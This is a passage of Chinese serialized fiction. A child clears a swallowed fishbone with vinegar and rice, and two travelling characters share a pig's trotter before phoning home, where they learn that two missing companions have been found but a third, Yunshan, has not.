李爱聪不想喝,马奶奶骂他,“你想不想好了?” “赶紧喝了顺下去好吃饭。” 李爱聪苦着脸喝完了醋,捂着喉咙说,“没下去。” “你再吃两口饭。”马奶奶又道。 李爱聪忍着疼又吃了两口饭,终于把鱼刺顺下去了。 坨坨见云善光顾着看热闹,拍了他一下,“小心鱼刺,别卡了。” “嗯。”云善吃鱼从来没被卡过。西觉有好好教过他怎么吃鱼。 江城里,兜明走在路上,闻着街道两边饭馆的食物香味咽了下口水。 看到路边有卖烤猪蹄的,兜明闻着香味实在受不了了,小声地开口喊,“花旗。” 花旗停下脚步转身看兜明。 “我想吃猪蹄。” 花旗扫了一眼卖猪蹄的地方,牌子上写了3元一只猪蹄。他们身上一共才有20块钱。3元一个的猪蹄对他们来说实在有点贵。 兜明心里忐忑,“我想吃一个。” 花旗阴着脸买了一个猪蹄,让老板切成两半,和兜明一人拿着一半边走边吃。 离开风城三天了,该打个电话回去问问霍然。也不知道报纸上有没有登寻人启事。 吃完猪蹄,花旗和兜明找人打听去哪打电话,一路找去了电话局。排了半个小时队,终于轮到了他们。 面对陌生的事务,花旗显得有些笨拙,拿着没见过的电话机不知道怎么办。这和按屏幕就能打出去电话的智能手机不一样。 他喊住经过的女孩,“请问,怎么打电话?” 女孩走过来,手把手地教他,替他和电话员沟通。等听到花旗喊了对面名字的时候,女孩问,“通了吧。” 花旗点点头,“谢谢。” 女孩笑着离开了。 “你们现在在哪?” 电话里传来的霍然声音和现实中略微有些不同,“有个好消息,找到了小丛和西觉了!他们已经买了车票正在往这边来。” “云善呢?”花旗赶紧问。 “他,还没找到他。”霍然说,“现在只找到西觉和小丛。他们得明天傍晚才能到。后天早上,你再打个电话过来。” “等他们来,我才能知道是什么情况。报纸上今天已经刊登了寻人启事,应该很快就能有云善的消息。你不要着急。” 花旗挂了电话,兜明忙上前问,“是不是有消息了?” “没找到云善,找到西觉和小丛了。” 兜明脸上露出高兴,“我们去哪找他们。”太好了,汇合到一起,终于不是他一妖面对花旗了。 花旗,“他们明天到霍然那。我们后天早上再打个电话过去。”